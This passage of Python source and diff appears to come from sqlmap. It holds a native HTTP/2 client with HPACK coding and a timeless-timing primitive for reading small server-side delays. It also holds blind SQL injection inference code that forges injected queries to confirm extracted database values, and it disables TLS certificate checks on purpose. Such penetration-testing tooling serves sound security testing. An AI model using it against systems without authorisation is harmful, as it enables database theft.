acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix)
|
||||
total = (nbits + pad) // 8
|
||||
out = bytearray()
|
||||
for i in range(total - 1, -1, -1):
|
||||
out.append((acc >> (8 * i)) & 0xff)
|
||||
return bytes(out)
|
||||
|
||||
_HUFF_ROOT = {}
|
||||
def _build_huffman_trie():
|
||||
for sym in range(256):
|
||||
code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym]
|
||||
node = _HUFF_ROOT
|
||||
for i in range(length - 1, -1, -1):
|
||||
bit = (code >> i) & 1
|
||||
if i == 0:
|
||||
node[bit] = sym # leaf: int symbol
|
||||
else:
|
||||
node = node.setdefault(bit, {})
|
||||
_build_huffman_trie()
|
||||
|
||||
def huffman_decode(data):
|
||||
out = bytearray()
|
||||
node = _HUFF_ROOT
|
||||
consumed = 0 # bits into the current (partial) symbol
|
||||
for byte in bytearray(data):
|
||||
for i in range(7, -1, -1):
|
||||
bit = (byte >> i) & 1
|
||||
nxt = node.get(bit)
|
||||
if nxt is None:
|
||||
raise ValueError("invalid Huffman sequence")
|
||||
consumed += 1
|
||||
if isinstance(nxt, dict):
|
||||
node = nxt
|
||||
else:
|
||||
out.append(nxt)
|
||||
node = _HUFF_ROOT
|
||||
consumed = 0
|
||||
# RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8
|
||||
if node is not _HUFF_ROOT:
|
||||
if consumed >= 8:
|
||||
raise ValueError("Huffman padding too long")
|
||||
# walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches
|
||||
# since the last leaf; verify by re-deriving is overkill - reference cross-check guards it
|
||||
return bytes(out)
|
||||
|
||||
# ---------- integer / string (RFC 7541 5.1 / 5.2) ----------
|
||||
def encode_integer(value, prefix_bits, first_byte=0):
|
||||
"""Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix.
|
||||
|
||||
>>> list(encode_integer(10, 5))
|
||||
[10]
|
||||
>>> list(encode_integer(1337, 5))
|
||||
[31, 154, 10]
|
||||
"""
|
||||
mask = (1 << prefix_bits) - 1
|
||||
if value < mask:
|
||||
return bytearray([first_byte | value])
|
||||
out = bytearray([first_byte | mask])
|
||||
value -= mask
|
||||
while value >= 0x80:
|
||||
out.append((value & 0x7f) | 0x80)
|
||||
value >>= 7
|
||||
out.append(value)
|
||||
return out
|
||||
|
||||
def decode_integer(data, pos, prefix_bits):
|
||||
"""Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1).
|
||||
|
||||
>>> decode_integer(bytearray([31, 154, 10]), 0, 5)
|
||||
(1337, 3)
|
||||
"""
|
||||
mask = (1 << prefix_bits) - 1
|
||||
value = data[pos] & mask
|
||||
pos += 1
|
||||
if value < mask:
|
||||
return value, pos
|
||||
shift = 0
|
||||
while True:
|
||||
b = data[pos]
|
||||
pos += 1
|
||||
value += (b & 0x7f) << shift
|
||||
shift += 7
|
||||
if not (b & 0x80):
|
||||
break
|
||||
return value, pos
|
||||
|
||||
def encode_string(value, huffman=True):
|
||||
if huffman:
|
||||
encoded = huffman_encode(value)
|
||||
if len(encoded) < len(value): # only use Huffman when it actually shrinks
|
||||
return encode_integer(len(encoded), 7, 0x80) + encoded
|
||||
return encode_integer(len(value), 7, 0x00) + bytearray(value)
|
||||
|
||||
def decode_string(data, pos):
|
||||
huffman = bool(data[pos] & 0x80)
|
||||
length, pos = decode_integer(data, pos, 7)
|
||||
raw = bytes(data[pos:pos + length])
|
||||
pos += length
|
||||
return (huffman_decode(raw) if huffman else raw), pos
|
||||
|
||||
# ---------- dynamic table + decoder/encoder ----------
|
||||
class Decoder(object):
|
||||
def __init__(self, max_size=4096):
|
||||
self.max_size = max_size
|
||||
self.dynamic = [] # newest first: [(name, value), ...]
|
||||
self._size = 0
|
||||
|
||||
def _entry_size(self, name, value):
|
||||
return 32 + len(name) + len(value)
|
||||
|
||||
def _add(self, name, value):
|
||||
self.dynamic.insert(0, (name, value))
|
||||
self._size += self._entry_size(name, value)
|
||||
self._evict()
|
||||
|
||||
def _evict(self):
|
||||
while self._size > self.max_size and self.dynamic:
|
||||
name, value = self.dynamic.pop()
|
||||
self._size -= self._entry_size(name, value)
|
||||
|
||||
def _get(self, index):
|
||||
if index <= 0:
|
||||
raise ValueError("invalid header index 0")
|
||||
if index <= STATIC_LEN:
|
||||
return STATIC_TABLE[index - 1]
|
||||
index -= STATIC_LEN + 1
|
||||
if index >= len(self.dynamic):
|
||||
raise ValueError("dynamic index out of range")
|
||||
return self.dynamic[index]
|
||||
|
||||
def decode(self, data):
|
||||
"""Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6).
|
||||
|
||||
>>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')]
|
||||
True
|
||||
"""
|
||||
data = bytearray(data)
|
||||
pos = 0
|
||||
headers = []
|
||||
n = len(data)
|
||||
while pos < n:
|
||||
byte = data[pos]
|
||||
if byte & 0x80: # 6.1 indexed
|
||||
index, pos = decode_integer(data, pos, 7)
|
||||
headers.append(self._get(index))
|
||||
elif byte & 0x40: # 6.2.1 literal + incremental indexing
|
||||
index, pos = decode_integer(data, pos, 6)
|
||||
if index:
|
||||
name = self._get(index)[0]
|
||||
else:
|
||||
name, pos = decode_string(data, pos)
|
||||
value, pos = decode_string(data, pos)
|
||||
self._add(name, value)
|
||||
headers.append((name, value))
|
||||
elif byte & 0x20: # 6.3 dynamic table size update
|
||||
new_size, pos = decode_integer(data, pos, 5)
|
||||
self.max_size = new_size
|
||||
self._evict()
|
||||
else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix)
|
||||
index, pos = decode_integer(data, pos, 4)
|
||||
if index:
|
||||
name = self._get(index)[0]
|
||||
else:
|
||||
name, pos = decode_string(data, pos)
|
||||
value, pos = decode_string(data, pos)
|
||||
headers.append((name, value))
|
||||
return headers
|
||||
|
||||
class Encoder(object):
|
||||
# Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings.
|
||||
# (Correctness-critical decoding is the hard part; a server accepts this trivially.)
|
||||
def encode(self, headers):
|
||||
out = bytearray()
|
||||
for name, value in headers:
|
||||
out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name
|
||||
out += encode_string(name)
|
||||
out += encode_string(value)
|
||||
return bytes(out)
|
||||
|
||||
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
|
||||
BIG_WINDOW = (1 << 31) - 1
|
||||
|
||||
# Upper bound on the response bytes (body or header block) buffered per stream. The client advertises a
|
||||
# ~2GB flow-control window, so without this a large (or hostile) server would drive the whole body into
|
||||
# memory and OOM the process. Mirrors the HTTP/1.1 path's MAX_CONNECTION_TOTAL_SIZE (100MB) cap in
|
||||
# connect.py; a stream that exceeds it is truncated (body) or abandoned (headers) and its connection retired.
|
||||
MAX_RESPONSE_SIZE = 100 * 1024 * 1024
|
||||
|
||||
def _recv_exact(sock, n):
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
chunk = sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise IOError("connection closed by peer")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _read_frame(sock):
|
||||
length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9))
|
||||
return ftype, flags, sid, (_recv_exact(sock, length) if length else b"")
|
||||
|
||||
def _tob(x):
|
||||
return x if isinstance(x, bytes) else x.encode("latin-1")
|
||||
|
||||
def _connect_socket(host, port, proxy, timeout):
|
||||
# Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies
|
||||
# are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a
|
||||
# (proxy_host, proxy_port, "user:pass"-or-None) tuple.
|
||||
if not proxy:
|
||||
return socket.create_connection((host, port), timeout=timeout)
|
||||
|
||||
proxy_host, proxy_port, proxy_cred = proxy
|
||||
raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout)
|
||||
try:
|
||||
request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port)
|
||||
if proxy_cred:
|
||||
token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii")
|
||||
request += "Proxy-Authorization: Basic %s\r\n" % token
|
||||
request += "\r\n"
|
||||
raw.sendall(request.encode("latin-1"))
|
||||
|
||||
response = b""
|
||||
while b"\r\n\r\n" not in response:
|
||||
chunk = raw.recv(4096)
|
||||
if not chunk:
|
||||
raise IOError("proxy closed the connection during CONNECT")
|
||||
response += chunk
|
||||
if len(response) > 65536:
|
||||
raise IOError("oversized proxy CONNECT response")
|
||||
|
||||
status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace")
|
||||
fields = status_line.split(None, 2)
|
||||
code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0
|
||||
if not (200 <= code < 300):
|
||||
raise IOError("proxy CONNECT failed: %s" % status_line)
|
||||
return raw
|
||||
except Exception:
|
||||
try:
|
||||
raw.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise
|
||||
|
||||
class _UnprocessedStream(IOError):
|
||||
"""Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below
|
||||
ours), so the request is always safe to retry on a fresh connection."""
|
||||
|
||||
class _H2Connection(object):
|
||||
"""A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread.
|
||||
|
||||
Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which
|
||||
preserves request<->response isolation (clean time-based latency, no desync), exactly like the
|
||||
thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's
|
||||
requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful,
|
||||
so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing
|
||||
(stateless), hence a fresh one per request is safe on a reused socket."""
|
||||
|
||||
def __init__(self, host, port, proxy, timeout):
|
||||
self.host, self.port, self.proxy = host, port, proxy
|
||||
self.dec = Decoder() # persistent server->client HPACK table
|
||||
self.next_sid = 1 # odd, strictly increasing per RFC 7540
|
||||
self.usable = True
|
||||
ctx = ssl._create_unverified_context()
|
||||
ctx.set_alpn_protocols(["h2"])
|
||||
raw = _connect_socket(host, port, proxy, timeout)
|
||||
try:
|
||||
raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # coalesced-pair writes must not be Nagle-buffered
|
||||
except (OSError, socket.error):
|
||||
pass
|
||||
self.sock = ctx.wrap_socket(raw, server_hostname=host)
|
||||
try:
|
||||
if self.sock.selected_alpn_protocol() != "h2":
|
||||
raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol())
|
||||
self.sock.settimeout(timeout)
|
||||
# connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window
|
||||
self.sock.sendall(CONNECTION_PREFACE)
|
||||
self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW)))
|
||||
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535)))
|
||||
except Exception:
|
||||
self.close()
|
||||
raise
|
||||
|
||||
def close(self):
|
||||
self.usable = False
|
||||
try:
|
||||
self.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def __del__(self):
|
||||
self.close()
|
||||
|
||||
def exchange(self, method, path, authority, headers, body, timeout):
|
||||
if not self.usable:
|
||||
raise IOError("HTTP/2 connection no longer usable")
|
||||
|
||||
sid = self.next_sid
|
||||
self.next_sid += 2
|
||||
if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this
|
||||
self.usable = False
|
||||
self.sock.settimeout(timeout)
|
||||
|
||||
req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))]
|
||||
for k, v in (headers or {}).items():
|
||||
req.append((_tob(k).lower(), _tob(v)))
|
||||
hblock = Encoder().encode(req)
|
||||
self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock))
|
||||
if body:
|
||||
self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)))
|
||||
|
||||
header_block, resp_headers, resp_body, done = b"", None, bytearray(), False
|
||||
while not done:
|
||||
ftype, flags, fsid, payload = _read_frame(self.sock)
|
||||
if ftype == SETTINGS:
|
||||
if not (flags & FLAG_ACK):
|
||||
self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b""))
|
||||
elif ftype == PING:
|
||||
if not (flags & FLAG_ACK):
|
||||
self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload))
|
||||
elif ftype == GOAWAY:
|
||||
self.usable = False # server won't accept new streams -> retire connection
|
||||
last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0
|
||||
if sid > last_sid: # our stream was not processed -> safe to retry fresh
|
||||
raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid))
|
||||
elif ftype == RST_STREAM and fsid == sid:
|
||||
self.usable = False
|
||||
raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0])
|
||||
elif ftype in (HEADERS, CONTINUATION) and fsid == sid:
|
||||
p = payload
|
||||
if ftype == HEADERS:
|
||||
if flags & FLAG_PADDED:
|
||||
p = p[1:len(p) - bytearray(payload)[0]]
|
||||
if flags & FLAG_PRIORITY:
|
||||
p = p[5:]
|
||||
header_block += p
|
||||
if len(header_block) > MAX_RESPONSE_SIZE: # hostile/endless header block -> bail rather than OOM
|
||||
self.usable = False
|
||||
raise IOError("oversized HTTP/2 header block")
|
||||
if flags & FLAG_END_HEADERS:
|
||||
resp_headers = self.dec.decode(header_block)
|
||||
if flags & FLAG_END_STREAM:
|
||||
done = True
|
||||
elif ftype == DATA and fsid == sid:
|
||||
p = payload
|
||||
if flags & FLAG_PADDED:
|
||||
p = p[1:len(p) - bytearray(payload)[0]]
|
||||
resp_body += p
|
||||
if len(resp_body) > MAX_RESPONSE_SIZE: # cap like the HTTP/1.1 path; stop reading and retire the
|
||||
self.usable = False # connection (leftover frames abandoned) instead of OOM
|
||||
break
|
||||
if payload: # replenish stream + connection windows
|
||||
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload))))
|
||||
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload))))
|
||||
if flags & FLAG_END_STREAM:
|
||||
done = True
|
||||
status = None
|
||||
for n, v in (resp_headers or []):
|
||||
if _tob(n) == b":status":
|
||||
status = int(v)
|
||||
break
|
||||
return status, resp_headers, bytes(resp_body)
|
||||
|
||||
def exchange_pair(self, requests, timeout):
|
||||
"""Timeless-timing primitive (Van Goethem et al., USENIX Security 2020). Send TWO requests
|
||||
multiplexed and COALESCED into a single TCP write, then read frames until BOTH streams reach
|
||||
END_STREAM, recording the order in which they finished. Because both requests ride the same
|
||||
packet on the same connection, network jitter hits them equally and cancels - only the server's
|
||||
relative processing time decides which END_STREAM lands first, so a sub-millisecond server-side
|
||||
delta is readable that absolute wall-clock timing (drowned by jitter) cannot resolve.
|
||||
|
||||
`requests` is a 2-list of dicts {method, path, authority, headers, body}. Returns
|
||||
(finish_order, results) where finish_order is the list of stream ids in completion order and
|
||||
results maps sid -> (status, headers, body). Requires the server to process the two streams
|
||||
CONCURRENTLY; a serializing front-proxy defeats it (callers must calibrate - see h2_timeless_probe)."""
|
||||
if not self.usable:
|
||||
raise IOError("HTTP/2 connection no longer usable")
|
||||
self.sock.settimeout(timeout)
|
||||
|
||||
sids, out = [], b""
|
||||
for r in requests:
|
||||
sid = self.next_sid
|
||||
self.next_sid += 2
|
||||
sids.append(sid)
|
||||
req = [(b":method", _tob(r.get("method", "GET"))), (b":scheme", b"https"),
|
||||
(b":path", _tob(r["path"])), (b":authority", _tob(r.get("authority") or self.host))]
|
||||
for k, v in (r.get("headers") or {}).items():
|
||||
req.append((_tob(k).lower(), _tob(v)))
|
||||
body = r.get("body")
|
||||
out += encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, Encoder().encode(req))
|
||||
if body:
|
||||
out += encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body))
|
||||
if self.next_sid >= BIG_WINDOW:
|
||||
self.usable = False
|
||||
self.sock.sendall(out) # THE crux: one write -> one TCP segment -> simultaneous arrival
|
||||
|
||||
state = dict((sid, {"hb": b"", "headers": None, "body": bytearray()}) for sid in sids)
|
||||
finish_order = []
|
||||
remaining = set(sids)
|
||||
while remaining:
|
||||
ftype, flags, fsid, payload = _read_frame(self.sock)
|
||||
if ftype == SETTINGS:
|
||||
if not (flags & FLAG_ACK):
|
||||
self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b""))
|
||||
elif ftype == PING:
|
||||
if not (flags & FLAG_ACK):
|
||||
self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload))
|
||||
elif ftype == GOAWAY:
|
||||
self.usable = False
|
||||
raise IOError("GOAWAY during timeless pair")
|
||||
elif ftype == RST_STREAM and fsid in state:
|
||||
self.usable = False
|
||||
raise IOError("stream reset during timeless pair")
|
||||
elif ftype in (HEADERS, CONTINUATION) and fsid in state:
|
||||
p = payload
|
||||
if ftype == HEADERS:
|
||||
if flags & FLAG_PADDED:
|
||||
p = p[1:len(p) - bytearray(payload)[0]]
|
||||
if flags & FLAG_PRIORITY:
|
||||
p = p[5:]
|
||||
state[fsid]["hb"] += p
|
||||
if len(state[fsid]["hb"]) > MAX_RESPONSE_SIZE:
|
||||
self.usable = False
|
||||
raise IOError("oversized HTTP/2 header block during timeless pair")
|
||||
if flags & FLAG_END_HEADERS:
|
||||
state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"])
|
||||
if flags & FLAG_END_STREAM and fsid in remaining:
|
||||
finish_order.append(fsid); remaining.discard(fsid)
|
||||
elif ftype == DATA and fsid in state:
|
||||
p = payload
|
||||
if flags & FLAG_PADDED:
|
||||
p = p[1:len(p) - bytearray(payload)[0]]
|
||||
state[fsid]["body"] += p
|
||||
if len(state[fsid]["body"]) > MAX_RESPONSE_SIZE: # cap the buffered body (mirrors exchange())
|
||||
self.usable = False
|
||||
raise IOError("oversized response during timeless pair")
|
||||
if payload:
|
||||
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload))))
|
||||
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload))))
|
||||
if flags & FLAG_END_STREAM and fsid in remaining:
|
||||
finish_order.append(fsid); remaining.discard(fsid)
|
||||
|
||||
results = {}
|
||||
for sid in sids:
|
||||
status = None
|
||||
for n, v in (state[sid]["headers"] or []):
|
||||
if _tob(n) == b":status":
|
||||
status = int(v); break
|
||||
results[sid] = (status, state[sid]["headers"], bytes(state[sid]["body"]))
|
||||
return finish_order, results
|
||||
|
||||
|
||||
# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model
|
||||
# (one connection per host per thread) so streams never interleave across threads and time-based
|
||||
# measurements stay clean.
|
||||
_h2_pool = threading.local()
|
||||
|
||||
def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout):
|
||||
pool = getattr(_h2_pool, "connections", None)
|
||||
if pool is None:
|
||||
pool = _h2_pool.connections = {}
|
||||
key = (host, port, proxy)
|
||||
|
||||
conn = pool.get(key)
|
||||
reused = conn is not None and conn.usable
|
||||
if not reused:
|
||||
if conn is not None:
|
||||
conn.close()
|
||||
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||
|
||||
try:
|
||||
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||
except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh
|
||||
conn.close(); pool.pop(key, None)
|
||||
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||
except (socket.error, ssl.SSLError, IOError):
|
||||
conn.close(); pool.pop(key, None)
|
||||
if reused: # stale keep-alive socket (server closed idle conn) -> reopen once
|
||||
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||
else:
|
||||
raise
|
||||
if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled
|
||||
conn.close(); pool.pop(key, None)
|
||||
return result
|
||||
|
||||
def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None):
|
||||
"""One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path
|
||||
goes through open_url -> the reusing pool)."""
|
||||
conn = _H2Connection(host, port, proxy, timeout)
|
||||
try:
|
||||
return conn.exchange(method, path, authority or host, headers, body, timeout)
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
class H2Response(object):
|
||||
"""A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's
|
||||
request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).
|
||||
|
||||
>>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body')
|
||||
>>> (r.code, r.msg, r.read() == b'body', r.geturl())
|
||||
(200, 'OK', True, 'https://x/')
|
||||
>>> ':status' in r.info()
|
||||
False
|
||||
"""
|
||||
|
||||
def __init__(self, url, status, headers, body):
|
||||
self.url = url
|
||||
self.code = self.status = status
|
||||
self.msg = _HTTP_RESPONSES.get(status, "")
|
||||
self.http_version = "HTTP/2.0"
|
||||
self._body = body
|
||||
self._offset = 0
|
||||
self._info = _Message()
|
||||
for name, value in (headers or []):
|
||||
name = name.decode("latin-1") if isinstance(name, bytes) else name
|
||||
value = value.decode("latin-1") if isinstance(value, bytes) else value
|
||||
if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.)
|
||||
self._info[name] = value
|
||||
# expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object
|
||||
# uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a
|
||||
# bare Message falls back to integer indexing)
|
||||
self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()]
|
||||
|
||||
def info(self):
|
||||
return self._info
|
||||
|
||||
def geturl(self):
|
||||
return self.url
|
||||
|
||||
def read(self, amt=None):
|
||||
if amt is None:
|
||||
data = self._body[self._offset:]
|
||||
self._offset = len(self._body)
|
||||
else:
|
||||
data = self._body[self._offset:self._offset + amt]
|
||||
self._offset += len(data)
|
||||
return data
|
||||
|
||||
def close(self):
|
||||
pass
|
||||
|
||||
|
||||
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None):
|
||||
"""Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the
|
||||
previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or
|
||||
ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped."""
|
||||
forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length")
|
||||
req_headers = {}
|
||||
for key in (headers or {}):
|
||||
name = key.decode("latin-1") if isinstance(key, bytes) else key
|
||||
if name.lower() not in forbidden:
|
||||
req_headers[key] = headers[key]
|
||||
|
||||
for _ in range(max_redirects + 1):
|
||||
parts = urlsplit(url)
|
||||
if parts.scheme != "https":
|
||||
raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme)
|
||||
path = parts.path or "/"
|
||||
if parts.query:
|
||||
path += "?" + parts.query
|
||||
status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path,
|
||||
parts.netloc.split("@")[-1], req_headers, body, timeout)
|
||||
if follow_redirects and status in REDIRECT_CODES:
|
||||
location = None
|
||||
for name, value in (resp_headers or []):
|
||||
if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location":
|
||||
location = value.decode("latin-1") if isinstance(value, bytes) else value
|
||||
break
|
||||
if location:
|
||||
url = urljoin(url, location)
|
||||
if status in (301, 302, 303): # per RFC 7231, these degrade to GET
|
||||
method, body = "GET", None
|
||||
continue
|
||||
return H2Response(url, status, resp_headers, resp_body)
|
||||
|
||||
raise IOError("too many HTTP/2 redirects")
|
||||
+224
-5
@@ -8,11 +8,17 @@ See the file 'LICENSE' for copying permission
|
||||
from __future__ import print_function
|
||||
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.bigarray import BigArray
|
||||
from lib.core.common import applyFunctionRecursively
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.utils.progress import ProgressBar
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import cleanQuery
|
||||
@@ -22,6 +28,7 @@ from lib.core.common import filterNone
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import incrementCounter
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import initTechnique
|
||||
@@ -53,15 +60,20 @@ from lib.core.exception import SqlmapDataException
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
|
||||
from lib.core.settings import IS_TTY
|
||||
from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
|
||||
from lib.core.settings import SQL_SCALAR_REGEX
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import runThreads
|
||||
from lib.core.threads import setDaemon
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.direct import direct
|
||||
from lib.techniques.blind.inference import bisection
|
||||
from lib.techniques.blind.inference import queryOutputLength
|
||||
from lib.techniques.blind.inference import valueMatchCondition
|
||||
from lib.techniques.dns.test import dnsTest
|
||||
from lib.techniques.dns.use import dnsUse
|
||||
from lib.techniques.error.use import errorUse
|
||||
@@ -162,8 +174,8 @@ def _goInferenceFields(expression, expressionFields, expressionFieldsList, paylo
|
||||
|
||||
def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
||||
"""
|
||||
Retrieve the output of a SQL query characted by character taking
|
||||
advantage of an blind SQL injection vulnerability on the affected
|
||||
Retrieve the output of a SQL query character by character taking
|
||||
advantage of a blind SQL injection vulnerability on the affected
|
||||
parameter through a bisection algorithm.
|
||||
"""
|
||||
|
||||
@@ -209,9 +221,11 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
|
||||
test = False
|
||||
|
||||
if test:
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
|
||||
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
||||
# Count the number of SQL query entries output. NOTE: COUNT(*) (row count), not
|
||||
# COUNT(<first field>) - the latter excludes NULLs and would drop NULL-valued rows from
|
||||
# the dump (e.g. dumping a single column whose value is NULL on some rows).
|
||||
countField = queries[Backend.getIdentifiedDbms()].count.query % '*'
|
||||
countedExpression = expression.replace(expressionFields, countField, 1)
|
||||
|
||||
if " ORDER BY " in countedExpression.upper():
|
||||
_ = countedExpression.upper().rindex(" ORDER BY ")
|
||||
@@ -356,6 +370,211 @@ def _goUnion(expression, unpack=True, dump=False):
|
||||
|
||||
return output
|
||||
|
||||
def _verifyInferredValue(expression, value):
|
||||
"""
|
||||
Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged
|
||||
query, mirroring the predictive commonValue check). A wrong bisection bit under heavy
|
||||
concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches
|
||||
it sharply (a corrupted name != the real one). Returns True when (expression) == value
|
||||
holds, or on a transient verify error (never discard a value on a hiccup).
|
||||
"""
|
||||
|
||||
if value is None or isNoneValue(value):
|
||||
return True
|
||||
|
||||
value = unArrayizeValue(value)
|
||||
if not isinstance(value, six.string_types):
|
||||
return True
|
||||
|
||||
if Backend.getDbms():
|
||||
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1))
|
||||
else:
|
||||
expressionUnescaped = unescaper.escape(expression)
|
||||
|
||||
matchCondition = valueMatchCondition(expressionUnescaped, value)
|
||||
if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition)
|
||||
return None # caller confirms these by an independent re-extraction instead
|
||||
|
||||
query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition)
|
||||
query = agent.suffixQuery(agent.prefixQuery(query))
|
||||
|
||||
timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
|
||||
|
||||
try:
|
||||
result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False))
|
||||
incrementCounter(getTechnique())
|
||||
return result
|
||||
except Exception:
|
||||
return True
|
||||
|
||||
